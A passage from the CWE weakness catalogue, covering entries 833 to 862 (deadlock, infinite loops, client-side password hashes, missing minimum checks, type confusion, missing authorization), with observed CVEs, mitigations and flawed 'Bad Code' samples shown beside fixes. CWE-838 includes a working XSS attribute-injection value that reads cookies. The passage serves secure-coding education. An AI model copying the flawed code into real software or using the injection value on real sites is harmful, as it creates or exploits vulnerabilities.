CVE-2009-1243	OS kernel performs an unlock in some incorrect circumstances, leading to panic.
CVE-2010-4210	function in OS kernel unlocks a mutex that was not previously locked, causing a panic or overwrite of arbitrary memory.

CWE-833: Deadlock

Weakness ID: 833 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software contains multiple threads or executable segments that are waiting for each other to release a necessary lock, resulting in deadlock.

Common Consequences

Availability
DoS: resource consumption (CPU)
DoS: resource consumption (other)
DoS: crash / exit / restart

Each thread of execution will "hang" and prevent tasks from completing. In some cases, CPU consumption may occur if a lock check occurs in a tight loop.

Observed Examples

Reference	Description
CVE-2002-1850	read/write deadlock between web server and script
CVE-2004-0174	web server deadlock involving multiple listening connections

CWE-834: Excessive Iteration

Weakness ID: 834 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software performs an iteration or loop without sufficiently limiting the number of times that the loop is executed.

Extended Description

If the iteration can be influenced by an attacker, this weakness could allow attackers to consume excessive resources such as CPU or memory. In many cases, a loop does not need to be infinite in order to cause enough resource consumption to adversely affect the software or its host system; it depends on the amount of resources consumed per iteration.

Common Consequences

Availability
DoS: resource consumption (CPU)
DoS: resource consumption (memory)
DoS: amplification
DoS: crash / exit / restart

Excessive looping will cause unexpected consumption of resources, such as CPU cycles or memory. The software's operation may slow down, or cause a long time to respond. If limited resources such as memory are consumed for each iteration, the loop may eventually cause a crash or program exit due to exhaustion of resources, such as an out-of-memory error.

Detection Methods

Dynamic Analysis with manual results interpretation

CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')

Weakness ID: 835 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The program contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop.

Extended Description

If the loop can be influenced by an attacker, this weakness could allow attackers to consume excessive resources such as CPU or memory.

Applicable Platforms

Languages

- Language-independent

Common Consequences

Availability
DoS: resource consumption (CPU)
DoS: resource consumption (memory)
DoS: amplification
An infinite loop will cause unexpected consumption of resources, such as CPU cycles or memory. The software's operation may slow down, or cause a long time to respond.

Demonstrative Examples

Example 1:

In the following code the method processMessagesFromServer attempts to establish a connection to a server and read and process messages from the server. The method uses a do/while loop to continue trying to establish the connection to the server when an attempt fails.

C/C++ Example: *Bad Code*

```
int processMessagesFromServer(char *hostaddr, int port) {
  ...
  int servsock;
  int connected;
  struct sockaddr_in servaddr;
  // create socket to connect to server
  servsock = socket( AF_INET, SOCK_STREAM, 0);
  memset( &servaddr, 0, sizeof(servaddr));
  servaddr.sin_family = AF_INET;
  servaddr.sin_port = htons(port);
  servaddr.sin_addr.s_addr = inet_addr(hostaddr);
  do {
    // establish connection to server
    connected = connect(servsock, (struct sockaddr *)&servaddr, sizeof(servaddr));
    // if connected then read and process messages from server
    if (connected > -1) {
      // read and process messages
      ...
    }
  // keep trying to establish connection to the server
  } while (connected < 0);
  // close socket and return success or failure
  ...
}
```

However, this will create an infinite loop if the server does not respond. This infinite loop will consume system resources and can be used to create a denial of service attack. To resolve this a counter should be used to limit the number of attempts to establish a connection to the server, as in the following code.

C/C++ Example: *Good Code*

```
int processMessagesFromServer(char *hostaddr, int port) {
  ...
  // initialize number of attempts counter
  int count = 0;
  do {
    // establish connection to server
    connected = connect(servsock, (struct sockaddr *)&servaddr, sizeof(servaddr));
    // increment counter
    count++;
    // if connected then read and process messages from server
    if (connected > -1) {
      // read and process messages
      ...
    }
  // keep trying to establish connection to the server
  // up to a maximum number of attempts
  } while (connected < 0 && count < MAX_ATTEMPTS);
  // close socket and return success or failure
  ...
}
```

Example 2:

For this example the method isReorderNeeded as part of a bookstore application that determines if a particular book needs to be reordered based on the current inventory count and the rate at which the book is being sold.

Java Example: *Bad Code*

```
public boolean isReorderNeeded(String bookISBN, int rateSold) {
  boolean isReorder = false;
  int minimumCount = 10;
  int days = 0;
```

```
  // get inventory count for book
  int inventoryCount = inventory.getIventoryCount(bookISBN);
  // find number of days until inventory count reaches minimum
  while (inventoryCount > minimumCount) {
    inventoryCount = inventoryCount - rateSold;
    days++;
  }
  // if number of days within reorder timeframe
  // set reorder return boolean to true
  if (days > 0 && days < 5) {
    isReorder = true;
  }
  return isReorder;
}
```

However, the while loop will become an infinite loop if the rateSold input parameter has a value of zero since the inventoryCount will never fall below the minimumCount. In this case the input parameter should be validated to ensure that a value of zero does not cause an infinite loop,as in the following code.

Java Example: *Good Code*

```
public boolean isReorderNeeded(String bookISBN, int rateSold) {
  ...
  // validate rateSold variable
  if (rateSold < 1) {
    return isReorder;
  }
  ...
}
```

Observed Examples

Reference	Description
CVE-2010-2534	Chain: improperly clearing a pointer in a linked list leads to infinite loop.
CVE-2010-4476	Floating point conversion routine cycles back and forth between two different values.
CVE-2010-4645	Floating point conversion routine cycles back and forth between two different values.
CVE-2011-1002	NULL UDP packet is never cleared from a queue, leading to infinite loop.
CVE-2011-1027	Chain: off-by-one error leads to infinite loop using invalid hex-encoded characters.
CVE-2011-1142	Chain: self-referential values in recursive definitions lead to infinite loop.

CWE-836: Use of Password Hash Instead of Password for Authentication

Weakness ID: 836 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software records password hashes in a data store, receives a hash of a password from a client, and compares the supplied hash to the hash obtained from the data store.

Extended Description

Some authentication mechanisms rely on the client to generate the hash for a password, possibly to reduce load on the server or avoid sending the password across the network. However, when the client is used to generate the hash, an attacker can bypass the authentication by obtaining a copy of the hash, e.g. by using SQL injection to compromise a database of authentication credentials, or by exploiting an information exposure. The attacker could then use a modified client to replay the stolen hash without having knowledge of the original password.

As a result, the server-side comparison against a client-side hash does not provide any more security than the use of passwords without hashing.

Applicable Platforms

Languages

- Language-independent

Common Consequences

Access Control
Bypass protection mechanism
Gain privileges / assume identity

An attacker could bypass the authentication routine without knowing the original password.

Observed Examples

Reference	Description
CVE-2005-3435	Product allows attackers to bypass authentication by obtaining the password hash for another user and specifying the hash in the pwd argument.
CVE-2009-1283	Product performs authentication with user-supplied password hashes that can be obtained from a separate SQL injection vulnerability (CVE-2009-1282).

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	287	Improper Authentication	**699** **1000**	508
PeerOf	B	602	Client-Side Enforcement of Server-Side Security	1000	949

CWE-837: Improper Enforcement of a Single, Unique Action

Weakness ID: 837 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software requires that an actor should only be able to perform an action once, or to have only one unique action, but the software does not enforce or improperly enforces this restriction.

Extended Description

In various applications, a user is only expected to perform a certain action once, such as voting, requesting a refund, or making a purchase. When this restriction is not enforced, sometimes this can have security implications. For example, in a voting application, an attacker could attempt to "stuff the ballot box" by voting multiple times. If these votes are counted separately, then the attacker could directly affect who wins the vote. This could have significant business impact depending on the purpose of the software.

Applicable Platforms

Languages

- Language-independent

Common Consequences

Other

An attacker might be able to gain advantage over other users by performing the action multiple times, or affect the correctness of the software.

Observed Examples

Reference	Description
CVE-2002-1018	Library feature allows attackers to check out the same e-book multiple times, preventing other users from accessing copies of the e-book.
CVE-2002-216	Polling software allows people to vote more than once by setting a cookie.
CVE-2003-1433	Chain: lack of validation of a challenge key in a game allows a player to register multiple times and lock other players out of the game.
CVE-2005-4051	CMS allows people to rate downloads by voting more than once.

Reference	Description
CVE-2008-0294	Ticket-booking web application allows a user to lock a seat more than once.
CVE-2009-2346	Protocol implementation allows remote attackers to cause a denial of service (call-number exhaustion) by initiating many message exchanges.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		799	Improper Control of Interaction Frequency	**699** **1000**	1229

CWE-838: Inappropriate Encoding for Output Context

Weakness ID: 838 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software uses or specifies an encoding when generating output to a downstream component, but the specified encoding is not the same as the encoding that is expected by the downstream component.

Extended Description

This weakness can cause the downstream component to use a decoding method that produces different data than what the software intended to send. When the wrong encoding is used - even if closely related - the downstream component could decode the data incorrectly. This can have security consequences when the provided boundaries between control and data are inadvertently broken, because the resulting data could introduce control characters or special elements that were not sent by the software. The resulting data could then be used to bypass protection mechanisms such as input validation, and enable injection attacks.

While using output encoding is essential for ensuring that communications between components are accurate, the use of the wrong encoding - even if closely related - could cause the downstream component to misinterpret the output.

For example, HTML entity encoding is used for elements in the HTML body of a web page. However, a programmer might use entity encoding when generating output for that is used within an attribute of an HTML tag, which could contain functional Javascript that is not affected by the HTML encoding.

While web applications have received the most attention for this problem, this weakness could potentially apply to any type of software that uses a communications stream that could support multiple encodings.

Applicable Platforms

Languages

- Language-independent

Common Consequences

Integrity
Confidentiality
Availability
Modify application data
Execute unauthorized code or commands

An attacker could modify the structure of the message or data being sent to the downstream component, possibly injecting commands.

Demonstrative Examples

This code dynamically builds an HTML page using POST data:

PHP Example: *Bad Code*

```
$username = $_POST['username'];
$picSource = $_POST['picsource'];
$picAltText = $_POST['picalttext'];
...
echo "<title>Welcome, " . htmlentities($username) ."</title>";
echo "<img src='". htmlentities($picSource) ." ' alt='". htmlentities($picAltText) . '" />';
```

...

The programmer attempts to avoid XSS exploits (CWE-79) by encoding the POST values so they will not be interpreted as valid HTML. However, the htmlentities() encoding is not appropriate when the data are used as HTML attributes, allowing more attributes to be injected.

For example, an attacker can set picAltText to:

Attack

```
"altTextHere' onload='alert(document.cookie)"
```

This will result in the generated HTML image tag:

HTML Example:

Result

```
<img src='pic.jpg' alt='altTextHere' onload='alert(document.cookie)' />
```

The attacker can inject arbitrary javascript into the tag due to this incorrect encoding.

Observed Examples

Reference	Description
CVE-2009-2814	Server does not properly handle requests that do not contain UTF-8 data; browser assumes UTF-8, allowing XSS.

Potential Mitigations

Implementation

Output Encoding

Use context-aware encoding. That is, understand which encoding is being used by the downstream component, and ensure that this encoding is used. If an encoding can be specified, do so, instead of assuming that the default encoding is the same as the default being assumed by the downstream component.

Architecture and Design

Output Encoding

Where possible, use communications protocols or data formats that provide strict boundaries between control and data. If this is not feasible, ensure that the protocols or formats allow the communicating components to explicitly state which encoding/decoding method is being used. Some template frameworks provide built-in support.

Architecture and Design

Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using the ESAPI Encoding control [R.838.7] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.

Note that some template mechanisms provide built-in support for the appropriate encoding.

CWE-839: Numeric Range Comparison Without Minimum Check

Weakness ID: 839 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The program checks a value to ensure that it does not exceed a maximum, but it does not verify that the value exceeds the minimum.

Extended Description

Some programs use signed integers or floats even when their values are only expected to be positive or 0. An input validation check might assume that the value is positive, and only check for the maximum value. If the value is negative, but the code assumes that the value is positive, this can produce an error. The error may have security consequences if the negative value is used for memory allocation, array access, buffer access, etc. Ultimately, the error could lead to a buffer overflow or other type of memory corruption.

The use of a negative number in a positive-only context could have security implications for other types of resources. For example, a shopping cart might check that the user is not requesting more than 10 items, but a request for -3 items could cause the application to calculate a negative price and credit the attacker's account.

Alternate Terms

Signed comparison

The "signed comparison" term is often used to describe when the program uses a signed variable and checks it to ensure that it is less than a maximum value (typically a maximum buffer size), but does not verify that it is greater than 0.

Applicable Platforms

Languages

- C *(Often)*
- C++ *(Often)*

Common Consequences

Integrity
Confidentiality
Availability
Modify application data
Execute unauthorized code or commands

An attacker could modify the structure of the message or data being sent to the downstream component, possibly injecting commands.

Availability
DoS: resource consumption (other)

in some contexts, a negative value could lead to resource consumption.

Confidentiality
Integrity
Modify memory
Read memory

If a negative value is used to access memory, buffers, or other indexable structures, it could access memory outside the bounds of the buffer.

Demonstrative Examples

Example 1:

The following code is intended to read an incoming packet from a socket and extract one or more headers.

C Example: *Bad Code*

```
DataPacket *packet;
int numHeaders;
PacketHeader *headers;
sock=AcceptSocketConnection();
ReadPacket(packet, sock);
numHeaders =packet->headers;
if (numHeaders > 100) {
  ExitError("too many headers!");
}
headers = malloc(numHeaders * sizeof(PacketHeader);
ParsePacketHeaders(packet, headers);
```

The code performs a check to make sure that the packet does not contain too many headers. However, numHeaders is defined as a signed int, so it could be negative. If the incoming packet specifies a value such as -3, then the malloc calculation will generate a negative number (say, -300 if each header can be a maximum of 100 bytes). When this result is provided to malloc(), it is first converted to a size_t type. This conversion then produces a large value such as 4294966996, which may cause malloc() to fail or to allocate an extremely large amount of memory (CWE-195). With the appropriate negative numbers, an attacker could trick malloc() into using a very small positive number, which then allocates a buffer that is much smaller than expected, potentially leading to a buffer overflow.

Example 2:

The following code reads a maximum size and performs a sanity check on that size. It then performs a strncpy, assuming it will not exceed the boundaries of the array. While the use of "short s" is forced in this particular example, short int's are frequently used within real-world code, such as code that processes structured data.

C Example: *Bad Code*

```
int GetUntrustedInt () {
  return(0x0000FFFF);
}
void main (int argc, char **argv) {
  char path[256];
  char *input;
  int i;
  short s;
  unsigned int sz;
  i = GetUntrustedInt();
  s = i;
  /* s is -1 so it passes the safety check - CWE-697 */
  if (s > 256) {
    DiePainfully("go away!\n");
  }
  /* s is sign-extended and saved in sz */
  sz = s;
  /* output: i=65535, s=-1, sz=4294967295 - your mileage may vary */
```

```
  printf("i=%d, s=%d, sz=%u\n", i, s, sz);
  input = GetUserInput("Enter pathname:");
  /* strncpy interprets s as unsigned int, so it's treated as MAX_INT
  (CWE-195), enabling buffer overflow (CWE-119) */
  strncpy(path, input, s);
  path[255] = '\0'; /* don't want CWE-170 */
  printf("Path is: %s\n", path);
}
```

This code first exhibits an example of CWE-839, allowing "s" to be a negative number. When the negative short "s" is converted to an unsigned integer, it becomes an extremely large positive integer. When this converted integer is used by strncpy() it will lead to a buffer overflow (CWE-119).

Example 3:

In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method

C Example: *Bad Code*

```
int getValueFromArray(int *array, int len, int index) {
  int value;
  // check that the array index is less than the maximum
  // length of the array
  if (index < len) {
    // get the value at the specified index of the array
    value = array[index];
  }
  // if array index is invalid then output error message
  // and return value indicating error
  else {
    printf("Value is: %d\n", array[index]);
    value = -1;
  }
  return value;
}
```

However, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below.

C Example: *Good Code*

```
...
// check that the array index is within the correct
// range of values for the array
if (index >= 0 && index < len) {
...
```

Example 4:

The following code shows a simple BankAccount class with deposit and withdraw methods.

Java Example: *Bad Code*

```
public class BankAccount {
  public final int MAXIMUM_WITHDRAWAL_LIMIT = 350;
  // variable for bank account balance
  private double accountBalance;
  // constructor for BankAccount
  public BankAccount() {
    accountBalance = 0;
  }
  // method to deposit amount into BankAccount
  public void deposit(double depositAmount) {...}
  // method to withdraw amount from BankAccount
  public void withdraw(double withdrawAmount) {
    if (withdrawAmount < MAXIMUM_WITHDRAWAL_LIMIT) {
```

```
      double newBalance = accountBalance - withdrawAmount;
      accountBalance = newBalance;
    }
    else {
      System.err.println("Withdrawal amount exceeds the maximum limit allowed, please try again...");
      ...
    }
  }
  // other methods for accessing the BankAccount object
  ...
}
```

The withdraw method includes a check to ensure that the withdrawal amount does not exceed the maximum limit allowed, however the method does not check to ensure that the withdrawal amount is greater than a minimum value (CWE-129). Performing a range check on a value that does not include a minimum check can have significant security implications, in this case not including a minimum range check can allow a negative value to be used which would cause the financial application using this class to deposit money into the user account rather than withdrawing. In this example the if statement should the modified to include a minimum range check, as shown below.

Java Example: *Good Code*

```
public class BankAccount {
  public final int MINIMUM_WITHDRAWAL_LIMIT = 0;
  public final int MAXIMUM_WITHDRAWAL_LIMIT = 350;
  ...
  // method to withdraw amount from BankAccount
  public void withdraw(double withdrawAmount) {
    if (withdrawAmount < MAXIMUM_WITHDRAWAL_LIMIT &&
    withdrawAmount > MINIMUM_WITHDRAWAL_LIMIT) {
      ...
```

Note that this example does not protect against concurrent access to the BankAccount balance variable, see CWE-413 and CWE-362.

While it is out of scope for this example, note that the use of doubles or floats in financial calculations may be subject to certain kinds of attacks where attackers use rounding errors to steal money.

Observed Examples

Reference	Description
CVE-2008-4558	chain: negative ID in media player bypasses check for maximum index, then used as an array index for buffer under-read.
CVE-2008-6393	chain: file transfer client performs signed comparison, leading to integer overflow and heap-based buffer overflow.
CVE-2009-1099	Chain: 16-bit counter can be interpreted as a negative value, compared to a 32-bit maximum value, leading to buffer under-write.
CVE-2009-3080	Chain: negative offset value to IOCTL bypasses check for maximum index, then used as an array index for buffer under-read.
CVE-2010-1866	Chain: integer overflow causes a negative signed value, which later bypasses a maximum-only check, leading to heap-based buffer overflow.
CVE-2010-2530	Chain: Negative value stored in an int bypasses a size check and causes allocation of large amounts of memory.
CVE-2010-3704	Chain: parser uses atoi() but does not check for a negative value, which can happen on some platforms, leading to buffer under-write.
CVE-2011-0521	Chain: kernel's lack of a check for a negative value leads to memory corruption.

Potential Mitigations

Implementation

Enforcement by Conversion

If the number to be used is always expected to be positive, change the variable type from signed to unsigned or size_t.

Implementation
Input Validation

If the number to be used could have a negative value based on the specification (thus requiring a signed value), but the number should only be positive to preserve code correctness, then include a check to ensure that the value is positive.

CWE-840: Business Logic Errors

Category ID: 840 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category identify some of the underlying problems that commonly allow attackers to manipulate the business logic of an application.

Extended Description

Errors in business logic can be devastating to an entire application. They can be difficult to find automatically, since they typically involve legitimate use of the application's functionality. However, many business logic errors can exhibit patterns that are similar to well-understood implementation and design weaknesses.

Observed Examples

Reference	Description

Research Gaps

The classification of business logic flaws has been under-studied, although exploitation of business flaws frequently happens in real-world systems, and many applied vulnerability researchers investigate them. The greatest focus is in web applications. There is debate within the community about whether these problems represent particularly new concepts, or if they are variations of well-known principles.

Many business logic flaws appear to be oriented toward business processes, application flows, and sequences of behaviors, which are not as well-represented in CWE as weaknesses related to input validation, memory management, etc.

CWE-841: Improper Enforcement of Behavioral Workflow

Weakness ID: 841 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software supports a session in which more than one behavior must be performed by an actor, but it does not properly ensure that the actor performs the behaviors in the required sequence.

Extended Description

By performing actions in an unexpected order, or by omitting steps, an attacker could manipulate the business logic of the software or cause it to enter an invalid state. In some cases, this can also expose resultant weaknesses.

For example, a file-sharing protocol might require that an actor perform separate steps to provide a username, then a password, before being able to transfer files. If the file-sharing server accepts a password command followed by a transfer command, without any username being provided, the software might still perform the transfer.

Note that this is different than CWE-696, which focuses on when the software performs actions in the wrong sequence; this entry is closely related, but it is focused on ensuring that the actor performs actions in the correct sequence.

Workflow-related behaviors include:

Steps are performed in the expected order.

Required steps are not omitted.

Steps are not interrupted.

Steps are performed in a timely fashion.

Common Consequences

Other

Alter execution logic

An attacker could cause the software to skip critical steps or perform them in the wrong order, bypassing its intended business logic. This can sometimes have security implications.

Demonstrative Examples

This code is part of an FTP server and deals with various commands that could be sent by a user. It is intended that a user must successfully login before performing any other action such as retrieving or listing files.

Python Example: *Bad Code*

```
def dispatchCommand(command, user, args):
  if command == 'Login':
    loginUser(args)
    return
  # user has requested a file
  if command == 'Retrieve_file':
    if authenticated(user) and ownsFile(user,args):
    sendFile(args)
    return
  if command == 'List_files':
    listFiles(args)
    return
  ...
```

The server correctly does not send files to a user that isn't logged in and doesnt own the file. However, the server will incorrectly list the files in any directory without confirming the command came from an authenticated user, and that the user is authorized to see the directory's contents.

Here is a fixed version of the above example:

Python Example: *Good Code*

```
def dispatchCommand(command, user, args):
  ...
  if command == 'List_files':
    if authenticated(user) and ownsDirectory(user,args):
      listFiles(args)
      return
  ...
```

Observed Examples

Reference	Description
CVE-2003-0777	Chain: product does not properly handle dropped connections, leading to missing NULL terminator (CWE-170) and segmentation fault.
CVE-2004-0829	Chain: File server crashes when sent a "find next" request without an initial "find first."
CVE-2004-2164	Shopping cart does not close a database connection when user restores a previous order, leading to connection exhaustion.
CVE-2005-3296	FTP server allows remote attackers to list arbitrary directories as root by running the LIST command before logging in.
CVE-2005-3327	Chain: Authentication bypass by skipping the first startup step as required by the protocol.
CVE-2007-3012	Attacker can access portions of a restricted page by canceling out of a dialog.
CVE-2009-5056	Ticket-tracking system does not enforce a permission setting.
CVE-2010-2620	FTP server allows remote attackers to bypass authentication by sending (1) LIST, (2) RETR, (3) STOR, or other commands without performing the required login steps first.

Reference	Description
CVE-2011-0348	Bypass of access/billing restrictions by sending traffic to an unrestricted destination before sending to a restricted destination.

CWE-842: Placement of User into Incorrect Group

Weakness ID: 842 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software or the administrator places a user into an incorrect group.

Extended Description

If the incorrect group has more access or privileges than the intended group, the user might be able to bypass intended security policy to access unexpected resources or perform unexpected actions. The access-control system might not be able to detect malicious usage of this group membership.

Time of Introduction

- Implementation
- Operation

Applicable Platforms

Languages

- Language-independent

Common Consequences

Access Control

Gain privileges / assume identity

Observed Examples

Reference	Description
CVE-1999-1193	Operating system assigns user to privileged wheel group, allowing the user to gain root privileges.
CVE-2002-0080	Chain: daemon does not properly clear groups before dropping privileges.
CVE-2007-3260	Product assigns members to the root group, allowing escalation of privileges.
CVE-2007-6644	CMS does not prevent remote administrators from promoting other users to the administrator group, in violation of the intended security model.
CVE-2008-5397	Chain: improper processing of configuration options causes users to contain unintended group memberships.
CVE-2010-3716	Chain: drafted web request allows the creation of users with arbitrary group membership.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	286	Incorrect User Management	**699** **1000**	508

CWE-843: Access of Resource Using Incompatible Type ('Type Confusion')

Weakness ID: 843 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The program allocates or initializes a resource such as a pointer, object, or variable using one type, but it later accesses that resource using a type that is incompatible with the original type.

Extended Description

When the program accesses the resource using an incompatible type, this could trigger logical errors because the resource does not have expected properties. In languages without memory safety, such as C and C++, type confusion can lead to out-of-bounds memory access.

While this weakness is frequently associated with unions when parsing data with many different embedded object types in C, it can be present in any application that can interpret the same variable or memory location in multiple ways.

This weakness is not unique to C and C++. For example, errors in PHP applications can be triggered by providing array parameters when scalars are expected, or vice versa. Languages such as Perl, which perform automatic conversion of a variable of one type when it is accessed as if it were another type, can also contain these issues.

Alternate Terms

Object Type Confusion

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++
- Language-independent
- Type-unsafe Languages

Demonstrative Examples

Example 1:

The following code uses a union to support the representation of different types of messages. It formats messages differently, depending on their type.

C Example: *Bad Code*

```
#define NAME_TYPE 1
#define ID_TYPE 2
struct MessageBuffer
{
  int msgType;
  union {
    char *name;
    int nameID;
  };
};
int main (int argc, char **argv) {
  struct MessageBuffer buf;
  char *defaultMessage = "Hello World";
  buf.msgType = NAME_TYPE;
  buf.name = defaultMessage;
  printf("Pointer of buf.name is %p\n", buf.name);
  /* This particular value for nameID is used to make the code architecture-independent. If coming from untrusted input, it
  could be any value. */
  buf.nameID = (int)(defaultMessage + 1);
  printf("Pointer of buf.name is now %p\n", buf.name);
  if (buf.msgType == NAME_TYPE) {
    printf("Message: %s\n", buf.name);
  }
  else {
    printf("Message: Use ID %d\n", buf.nameID);
  }
}
```

The code intends to process the message as a NAME_TYPE, and sets the default message to "Hello World." However, since both buf.name and buf.nameID are part of the same union, they can act as aliases for the same memory location, depending on memory layout after compilation.

As a result, modification of buf.nameID - an int - can effectively modify the pointer that is stored in buf.name - a string.

Execution of the program might generate output such as:

Pointer of name is 10830

Pointer of name is now 10831

Message: ello World

Notice how the pointer for buf.name was changed, even though buf.name was not explicitly modified.

In this case, the first "H" character of the message is omitted. However, if an attacker is able to fully control the value of buf.nameID, then buf.name could contain an arbitrary pointer, leading to out-of-bounds reads or writes.

Example 2:

The following PHP code accepts a value, adds 5, and prints the sum.

PHP Example: *Bad Code*

```
$value = $_GET['value'];
$sum = $value + 5;
echo "value parameter is '$value'<p>";
echo "SUM is $sum";
```

When called with the following query string:

value=123

the program calculates the sum and prints out:

SUM is 128

However, the attacker could supply a query string such as:

value[]=123

The "[]" array syntax causes $value to be treated as an array type, which then generates a fatal error when calculating $sum:

Fatal error: Unsupported operand types in program.php on line 2

Example 3:

The following Perl code is intended to look up the privileges for user ID's between 0 and 3, by performing an access of the $UserPrivilegeArray reference. It is expected that only userID 3 is an admin (since this is listed in the third element of the array).

Perl Example: *Bad Code*

```
my $UserPrivilegeArray = ["user", "user", "admin", "user"];
my $userID = get_current_user_ID();
if ($UserPrivilegeArray eq "user") {
  print "Regular user!\n";
}
else {
  print "Admin!\n";
}
print "\$UserPrivilegeArray = $UserPrivilegeArray\n";
```

In this case, the programmer intended to use "$UserPrivilegeArray->{$userID}" to access the proper position in the array. But because the subscript was omitted, the "user" string was compared to the scalar representation of the $UserPrivilegeArray reference, which might be of the form "ARRAY(0x229e8)" or similar.

Since the logic also "fails open" (CWE-636), the result of this bug is that all users are assigned administrator privileges.

While this is a forced example, it demonstrates how type confusion can have security consequences, even in memory-safe languages.

Observed Examples

Reference	Description
CVE-2010-0258	Improperly-parsed file containing records of different types leads to code execution when a memory location is interpreted as a different object than intended.
CVE-2010-4577	Type confusion in CSS sequence leads to out-of-bounds read.
CVE-2011-0611	Size inconsistency allows code execution, first discovered when it was actively exploited in-the-wild.

Relationships

Nature	Type	ID	Name	V	Page
CanPrecede	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	1000	226
ChildOf	C	704	Incorrect Type Conversion or Cast	**699** **1000**	1107

Research Gaps

Type confusion weaknesses have received some attention by applied researchers and major software vendors for C and C++ code. Some publicly-reported vulnerabilities probably have type confusion as a root-cause weakness, but these may be described as "memory corruption" instead. This weakness seems likely to gain prominence in upcoming years.

For other languages, there are very few public reports of type confusion weaknesses. These are probably under-studied. Since many programs rely directly or indirectly on loose typing, a potential "type confusion" behavior might be intentional, possibly requiring more manual analysis.

CWE-844: Weaknesses Addressed by the CERT Java Secure Coding Standard

View ID: 844 *(View: Graph)* **Status:** Incomplete

Objective

CWE entries in this view (graph) are fully or partially eliminated by following the CERT Java Secure Coding Standard. Since not all rules map to specific weaknesses, this view is incomplete.

View Data

View Metrics

	CWEs in this view		Total CWEs
Total	**124**	out of	1006
Views	0	out of	33
Categories	18	out of	245
Weaknesses	105	out of	720
Compound_Elements	1	out of	8

View Audience

Developers

By following the CERT Java Secure Coding Standard, developers will be able to fully or partially prevent the weaknesses that are identified in this view. In addition, developers can use a CWE coverage graph to determine which weaknesses are not directly addressed by the standard, which will help identify and resolve remaining gaps in training, tool acquisition, or other approaches for reducing weaknesses.

Software Customers

If a software developer claims to be following the CERT Java Secure Coding standard, then customers can search for the weaknesses in this view in order to formulate independent evidence of that claim.

Educators

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could link them to the relevant Secure Coding Standard.

Relationship Notes

The relationships in this view were determined based on specific statements within the rules from the standard. Not all rules have direct relationships to individual weaknesses, although they likely have chaining relationships in specific circumstances.

CWE-862: Missing Authorization

Weakness ID: 862 *(Weakness Class)* **Status:** Incomplete

Description

Summary

The software does not perform an authorization check when an actor attempts to access a resource or perform an action.

Extended Description

Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.

When access control checks are not applied, users are able to access data or perform actions that they should not be allowed to perform. This can lead to a wide range of problems, including information exposures, denial of service, and arbitrary code execution.

Alternate Terms

AuthZ

"AuthZ" is typically used as an abbreviation of "authorization" within the web application security community. It is also distinct from "AuthC," which is an abbreviation of "authentication." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- Language-independent

Technology Classes

- Web-Server *(Often)*
- Database-Server *(Often)*

Modes of Introduction

A developer may introduce authorization weaknesses because of a lack of understanding about the underlying technologies. For example, a developer may assume that attackers cannot modify certain inputs such as headers or cookies.

Authorization weaknesses may arise when a single-user application is ported to a multi-user environment.

Common Consequences

Confidentiality
Read application data
Read files or directories

An attacker could read sensitive data, either by reading the data directly from a data store that is not restricted, or by accessing insufficiently-protected, privileged functionality to read the data.

Integrity
Modify application data
Modify files or directories

An attacker could modify sensitive data, either by writing the data directly to a data store that is not restricted, or by accessing insufficiently-protected, privileged functionality to write the data.

Access Control
Gain privileges / assume identity
Bypass protection mechanism

An attacker could gain privileges by modifying or reading critical data directly, or by accessing privileged functionality.

Likelihood of Exploit

High

Detection Methods

Automated Static Analysis
Limited

Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries.

Generally, automated static analysis tools have difficulty detecting custom authorization schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an authorization check; an automated technique that detects the absence of authorization may report false positives.

Automated Dynamic Analysis

Automated dynamic analysis may find many or all possible interfaces that do not require authorization, but manual analysis is required to determine if the lack of authorization violates business logic.

Manual Analysis
Moderate

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.

Manual Static Analysis - Binary / Bytecode
SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Dynamic Analysis with automated results interpretation
SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner
Web Services Scanner
Database Scanners

Dynamic Analysis with manual results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Host Application Interface Scanner
Fuzz Tester
Framework-based Fuzzer

Manual Static Analysis - Source Code
SOAR Partial
According to SOAR, the following detection techniques may be useful:
